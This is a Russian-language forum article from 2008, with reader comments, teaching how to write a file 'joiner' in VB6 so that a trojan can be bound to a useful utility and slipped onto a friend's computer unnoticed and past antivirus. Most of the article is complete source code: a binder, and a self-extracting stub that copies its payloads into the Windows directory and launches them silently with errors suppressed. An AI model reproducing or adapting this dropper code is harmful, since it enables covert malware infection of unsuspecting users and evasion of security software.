Создание простейшего джойнера на VB6 (26.10.2008)
Джойнер – программа, предназначенная для объединения двух и более файлов в один, незаменимый помощник хакера. Допустим, у нас есть полезная утилита, которую попросил друг. Через неё мы хотим закинуть на его комп трояна. При помощи джойнера объединяем её со своим трояном и вуаля! Друг врятли что либо заподозрит , разница только в размере файла. Есть множество бесплатных джойнеров в интернете, таких как, BEJoiner, GBinder , Cactus Joiner. Но есть одно большое мерзкое неудобство – файлы, склеенные джойнерами из интернета легко палятся любым антивирусом. Выходят новые версии, однако каждая неуспевает прожить больше месяца. Самый простой способ решить эту проблему – написать свой джойнер. В этой статье я опишу процесс его создания на VB6.
Это не мануал по бэйсику, так что если вы незнакомы с основами этого языка а также со структурой файлов, этот материал не для вас. Мануал написан мной для обучения, в ознакомительных целях, использовать его для решения других задач запрещается, ответственность за совершение возможных злодеяний, совершённых с помощью него лежит только на вас! Это на всякий случай, классика=)
Программа будет состоять из двух частей. Первая, непосредственно сам джойнер, который занимается склейкой, вторая будет заниматься распаковкой самой себя. Первая прога будет записывать код второй части в начало файла, затем переменную с номерами байтов, где начинаются остальные файлы, затем их код. Во время запуска готового файла будет выполнятся код второй части, она сама себя распакует в нужное место, запустит программу1 и трояна в скрытом режиме. Нужным местом пусть будет директория виндоус.
И так начнём.
1 часть
Создадим проект с формой, туда добавим 4 текстбокса. Они пойдут вряд по вертикали, к каждому текстбоксу сделайте метку(Label) : “Имя файла 1”, “Имя файла2”, “Имя файла3”, “Конечный результат”. Склеивать будем 3 файла, ибо если вы и троян писали на бэйсике =) , вам понадобится файл winsock.ocx для работы с сокетами. На вашем компе он есть и прописан где следует, на машине жертвы его скорей всего нет, придётся прикладывать вместе с трояном. Внизу добавьте кнопку “Склеить”. Исходные имена не меняйте.
Объявим структуру из трёх переменных long(номера байтов)
Private Type Data
Num1 As Long
Num2 As Long
Num3 As Long
End Type
Dim my As Data
И сразу переменную my. Это номера байтов, где будут хранится файлы, я описал выше, зачем это нужно.
Теперь кнопка:
Private Sub Command1_Click()
Dim File1 As Byte
Переменная будет служить для копирования кода файла по байту. Кстати, если весить файл будет мегабайт или больше склеивание будет очень длительным. Это уже претензии к бэйсику.
Open Text4.Text For Binary As 1 Len = 1
Open Text1.Text For Binary As 2 Len = 1
Open Text2.Text For Binary As 3 Len = 1
Open Text3.Text For Binary As 4 Len = 1
Open "C:\Joiner.exe" For Binary As 5 Len = 1
Открываем для редактирования 5 файлов. Файл для конечного результата, первый для склеивания, второй и третий. Последний – это та самая вторая часть, которая будет заниматься самораспаковкой и которую мы положим в начало файла. Позже сохраним её C:\Joiner.exe, когда напишем.
For i = 1 To FileLen("C:\Joiner.exe")
Get 5, i, File1
Put 1, i, File1
Next i
Close 5
При помощи цикла копируем её код в начало файла 1.
my.Num1 = 20481 + Len(my)
my.Num2 = my.Num1 + FileLen(Text2.Text)
my.Num3 = my.Num2 + FileLen(Text3.Text)
Вычисляем значение переменной my. 20480 – это размер программы распаковщика(второй части), я уже давно скомпилировал её и замерил. Стало быть первый байт второго файла будет располагаться в 20481 и так далее до Num2. Как я вычеслил Num2 и Num3 думаю, и так понятно.
Put 1, 20481, my
Записываем в файл.
For o = my.Num1 To my.Num2 - 1
Get 2, o - my.Num1 + 1, File1
Put 1, o, File1
Next o
Close 2
Тоже самое, только с файлом для склейки 1.
For r = my.Num2 To my.Num3 - 1
Get 3, r - my.Num2 + 1, File1
Put 1, r, File1
Next r
Close 3
For n = my.Num3 To FileLen(Text3.Text) + my.Num3
Get 4, n - my.Num3 + 1, File1
Put 1, n, File1
Next n
Close 4
Ну и с остальными двумя.
Close 1
End Sub
Закрываем конечный файл, и всё.
Эта часть программы готова, для удобства заполнения текстовых полей можно добавить common dialog. Он на панельке сначала не отображается, можете найти его в компонентах Microsoft common dialog controls 6.0 Назовите элемент CD, в свойстве Filter напишите “Все файлы | *.*” без ковычек. К каждому текстбоксу добавьте по кнопке, код:
Private Sub Command2_Click()
CD.ShowOpen
Text1.Text = CD.FileName
End Sub
Private Sub Command3_Click()
CD.ShowOpen
Text2.Text = CD.FileName
End Sub
Private Sub Command4_Click()
CD.ShowOpen
Text3.Text = CD.FileName
End Sub
Первая часть готова.
2 часть
Создадим вторую часть. Она будет скрытной, никакого интерфейся не нужно. Форму удалите, добавьте модуль, в нём sub main.
Private Type Data
Num1 As Long
Num2 As Long
Num3 As Long
End Type
Это тот же тип, что и в первой программе он нам понадобится для считывания данных.
В sub main объявите:
On Error Resume Next
Dim my As Data
Dim File1 As Byte
Первая строка значит, что в случае ошибки никаких сообщений об ошибке не будет)) Троян не может установить подключение, адрес ин юз)))
Open App.Path & "\" & App.EXEName & ".exe" For Binary As 1 Len = 1
Open Environ("windir") & "\" & App.EXEName & ".exe" For Binary As 2 Len = 1
Open Environ("windir") & "\" & "Func1.exe" For Binary As 3 Len = 1
Open Environ("windir") & "\" & "Winsock.ocx" For Binary As 4 Len = 1
Открываем 4 файла: себя и ещё 3 для распаковки. Environ("windir") – это директория винды.
Get 1, 20481, my
'Извлекаем и запускаем 1 файл
For i = my.Num1 To my.Num2 - 1
Get 1, i, File1
Put 2, i - my.Num1 + 1, File1
Next i
Close 2
Shell Environ("windir") & "\" & App.EXEName & ".exe"
'Извлекаем и запускаем 2 файл
For b = my.Num2 To my.Num3 - 1
Get 1, b, File1
Put 3, b - my.Num2 + 1, File1
Next b
Close 3
Shell Environ("windir") & "\" & "Func1.exe"
'Извлекаем 3 файл
For c = my.Num3 To FileLen(App.Path & "\" & App.EXEName & ".exe")
Get 1, c, File1
Put 4, c - my.Num3 + 1, File1
Next c
Close 4
Close 1
Писать тут комментарии мне чёто стало лениво. И так всё понятно, что тут тоже самое, что и в первом случае, только наоборот. Каждый цикл запускается с первого байта файла до последнего. Первые два файла запускаются (программа и троян), третий сохраняется под именем WINSOCK.OCX Ещё до склеивания этот файл можно сделать скрытым.
Всё, теперь кидаем вторую часть в “C:\Joiner.exe” и запускаем первую.
Запуск
Откроем первую часть программы, в текстбоксы введём:
D:\windows\calc.exe
D:\windows\notepad.exe
И в третий чё хотите, можно картинку какую-нить. В четвёртый “C:\Ypaa.exe”
Жмём склеить, а затем идём в корневой каталог диска C, запускаем ура и радуемся. Если вы всё сделали правильно на экране появятся калькулятор и “безымянный”. В папке windows можно обнаружить файл winsock.ocx. Я незнаю что там, смотря что вы указали.
Я бы использовал апи для работы с файлами. А больше, по-сути здесь ничего интересного, вот если бы еще продемонстрировали запуск одного приложения из другого было бы круто.
Мда... долго думал..
Умники, Вы еще напищите руководство по созданию вирусов (нескольких видов: троянов, червей и т.д.) и в совокупности с этой статьей получится шикарное пособие для начинающих кулхацкеров. Мало что ли дерьма всякого на комп из инета лезет, так вы еще инструкции по обходу антивирей пишете..
EROS
не хочешь - не читай. Программирование интересная штука, если в интернете появились вирусы, это не значит, что его нужно запретить.
S12
API помоему тут особо не нужен. А как понять запуск одного приложения из другого?
VBif пишет:
А есть способ запустить исполняемый файл прямо из памяти, не сохраняя на винт?
Да.
VBif пишет:
На бэйсике можно написать замечательный троян и не менее замечательный вирус.
Заблуждение. На бейсике нельзя писать зверей. Они слишком много весят и требуют msvbvm60.dll. Да и низкоуровневые трюки не сделаешь на нем. Ни толковый троян, ни тем более нормальный вирус на васике не неписать.